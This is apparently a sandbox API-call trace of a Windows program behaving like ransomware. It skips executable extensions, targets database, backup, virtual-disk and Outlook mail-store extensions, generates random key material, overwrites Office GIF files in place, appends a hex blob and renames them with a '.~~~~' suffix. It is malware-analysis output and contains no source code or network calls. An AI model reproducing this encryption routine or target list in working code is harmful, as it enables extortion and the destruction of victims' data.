	[0141.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".scr") returned 0x0
	[0141.989] lstrlenW (lpString=".cmd") returned 4
	[0141.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".cmd") returned 0x0
	[0141.989] lstrlenW (lpString=".dll") returned 4
	[0141.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dll") returned 0x0
	[0141.989] lstrlenW (lpString=".bat") returned 4
	[0141.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".bat") returned 0x0
	[0141.989] lstrlenW (lpString=".cpl") returned 4
	[0141.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".cpl") returned 0x0
	[0141.990] lstrlenW (lpString=".sys") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".sys") returned 0x0
	[0141.990] lstrlenW (lpString=".msc") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".msc") returned 0x0
	[0141.990] lstrlenW (lpString=".com") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".com") returned 0x0
	[0141.990] lstrlenW (lpString=".lnk") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".lnk") returned 0x0
	[0141.990] lstrlenW (lpString=".msp") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".msp") returned 0x0
	[0141.990] lstrlenW (lpString=".pif") returned 4
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".pif") returned 0x0
	[0141.990] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.012] lstrlenW (lpString=".sqb") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".sqb") returned 0x0
	[0142.012] lstrlenW (lpString=".ost") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".ost") returned 0x0
	[0142.012] lstrlenW (lpString=".txt") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".txt") returned 0x0
	[0142.012] lstrlenW (lpString=".mdt") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".mdt") returned 0x0
	[0142.012] lstrlenW (lpString=".BDB") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".BDB") returned 0x0
	[0142.012] lstrlenW (lpString=".eql") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".eql") returned 0x0
	[0142.012] lstrlenW (lpString=".DBF") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DBF") returned 0x0
	[0142.012] lstrlenW (lpString=".EQL") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".EQL") returned 0x0
	[0142.012] lstrlenW (lpString=".FDB") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".FDB") returned 0x0
	[0142.012] lstrlenW (lpString=".EDB") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".EDB") returned 0x0
	[0142.012] lstrlenW (lpString=".DACPAC") returned 7
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.012] lstrlenW (lpString=".VHD") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".VHD") returned 0x0
	[0142.012] lstrlenW (lpString=".DBV") returned 4
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DBV") returned 0x0
	[0142.012] lstrlenW (lpString=".dacpac") returned 7
	[0142.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.013] lstrlenW (lpString=".sdf") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".sdf") returned 0x0
	[0142.013] lstrlenW (lpString=".accdb") returned 6
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".accdb") returned 0x0
	[0142.013] lstrlenW (lpString=".DBX") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DBX") returned 0x0
	[0142.013] lstrlenW (lpString=".MDT") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".MDT") returned 0x0
	[0142.013] lstrlenW (lpString=".SQB") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".SQB") returned 0x0
	[0142.013] lstrlenW (lpString=".vhd") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".vhd") returned 0x0
	[0142.013] lstrlenW (lpString=".bac") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".bac") returned 0x0
	[0142.013] lstrlenW (lpString=".mdf") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".mdf") returned 0x0
	[0142.013] lstrlenW (lpString=".BAK") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".BAK") returned 0x0
	[0142.013] lstrlenW (lpString=".BAC") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".BAC") returned 0x0
	[0142.013] lstrlenW (lpString=".dbs") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dbs") returned 0x0
	[0142.013] lstrlenW (lpString=".vhdx") returned 5
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.013] lstrlenW (lpString=".NDF") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".NDF") returned 0x0
	[0142.013] lstrlenW (lpString=".dat") returned 4
	[0142.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dat") returned 0x0
	[0142.013] lstrlenW (lpString=".DBS") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DBS") returned 0x0
	[0142.014] lstrlenW (lpString=".CKP") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".CKP") returned 0x0
	[0142.014] lstrlenW (lpString=".edb") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".edb") returned 0x0
	[0142.014] lstrlenW (lpString=".PST") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".PST") returned 0x0
	[0142.014] lstrlenW (lpString=".dbf") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dbf") returned 0x0
	[0142.014] lstrlenW (lpString=".SQL") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".SQL") returned 0x0
	[0142.014] lstrlenW (lpString=".pst") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".pst") returned 0x0
	[0142.014] lstrlenW (lpString=".dbv") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dbv") returned 0x0
	[0142.014] lstrlenW (lpString=".SDF") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".SDF") returned 0x0
	[0142.014] lstrlenW (lpString=".dtxs") returned 5
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.014] lstrlenW (lpString=".db3") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".db3") returned 0x0
	[0142.014] lstrlenW (lpString=".OST") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".OST") returned 0x0
	[0142.014] lstrlenW (lpString=".dbx") returned 4
	[0142.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dbx") returned 0x0
	[0142.014] lstrlenW (lpString=".DB3") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DB3") returned 0x0
	[0142.015] lstrlenW (lpString=".DAT") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DAT") returned 0x0
	[0142.015] lstrlenW (lpString=".VHDX") returned 5
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.015] lstrlenW (lpString=".ndf") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".ndf") returned 0x0
	[0142.015] lstrlenW (lpString=".DB") returned 3
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DB") returned 0x0
	[0142.015] lstrlenW (lpString=".sql") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".sql") returned 0x0
	[0142.015] lstrlenW (lpString=".MYD") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".MYD") returned 0x0
	[0142.015] lstrlenW (lpString=".DBT") returned 4
	[0142.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DBT") returned 0x0
	[0142.016] lstrlenW (lpString=".ACCDB") returned 6
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.016] lstrlenW (lpString=".fdb") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".fdb") returned 0x0
	[0142.016] lstrlenW (lpString=".bak") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".bak") returned 0x0
	[0142.016] lstrlenW (lpString=".myd") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".myd") returned 0x0
	[0142.016] lstrlenW (lpString=".DTXS") returned 5
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.016] lstrlenW (lpString=".ckp") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".ckp") returned 0x0
	[0142.016] lstrlenW (lpString=".dbt") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".dbt") returned 0x0
	[0142.016] lstrlenW (lpString=".db") returned 3
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".db") returned 0x0
	[0142.016] lstrlenW (lpString=".TXT") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".TXT") returned 0x0
	[0142.016] lstrlenW (lpString=".MDF") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".MDF") returned 0x0
	[0142.016] lstrlenW (lpString=".bdb") returned 4
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".bdb") returned 0x0
	[0142.016] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.017] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.018] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.018] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.018] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26200887527) returned 1
	[0142.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe0ec0f0, dwHighDateTime=0x1d60e1e)) 
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2978
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0a78
	[0142.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0142.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0a78 | out: hHeap=0x300000) returned 1
	[0142.019] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.020] GetLastError () returned 0x0
	[0142.020] GetLastError () returned 0x0
	[0142.020] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.020] GetLastError () returned 0x0
	[0142.021] GetLastError () returned 0x0
	[0142.021] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x4217, lpOverlapped=0x0) returned 1
	[0142.024] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffbde9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.024] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4217, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4217, lpOverlapped=0x0) returned 1
	[0142.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.025] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.025] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.025] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.025] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.025] CloseHandle (hObject=0x104) returned 1
	[0142.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0a78
	[0142.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif.~~~~")) returned 1
	[0142.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0a78 | out: hHeap=0x300000) returned 1
	[0142.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.027] GetLastError () returned 0x0
	[0142.028] RtlWakeConditionVariable () returned 0x0
	[0142.028] GetCurrentThreadId () returned 0xaf0
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".scr") returned 0x0
	[0142.028] lstrlenW (lpString=".cmd") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".cmd") returned 0x0
	[0142.028] lstrlenW (lpString=".dll") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".dll") returned 0x0
	[0142.028] lstrlenW (lpString=".bat") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".bat") returned 0x0
	[0142.028] lstrlenW (lpString=".cpl") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".cpl") returned 0x0
	[0142.028] lstrlenW (lpString=".sys") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".sys") returned 0x0
	[0142.028] lstrlenW (lpString=".msc") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".msc") returned 0x0
	[0142.028] lstrlenW (lpString=".com") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".com") returned 0x0
	[0142.028] lstrlenW (lpString=".lnk") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".lnk") returned 0x0
	[0142.028] lstrlenW (lpString=".msp") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".msp") returned 0x0
	[0142.028] lstrlenW (lpString=".pif") returned 4
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".pif") returned 0x0
	[0142.028] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.030] lstrlenW (lpString=".sqb") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".sqb") returned 0x0
	[0142.030] lstrlenW (lpString=".ost") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".ost") returned 0x0
	[0142.030] lstrlenW (lpString=".txt") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".txt") returned 0x0
	[0142.030] lstrlenW (lpString=".mdt") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".mdt") returned 0x0
	[0142.030] lstrlenW (lpString=".BDB") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".BDB") returned 0x0
	[0142.030] lstrlenW (lpString=".eql") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".eql") returned 0x0
	[0142.030] lstrlenW (lpString=".DBF") returned 4
	[0142.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", lpSrch=".DBF") returned 0x0
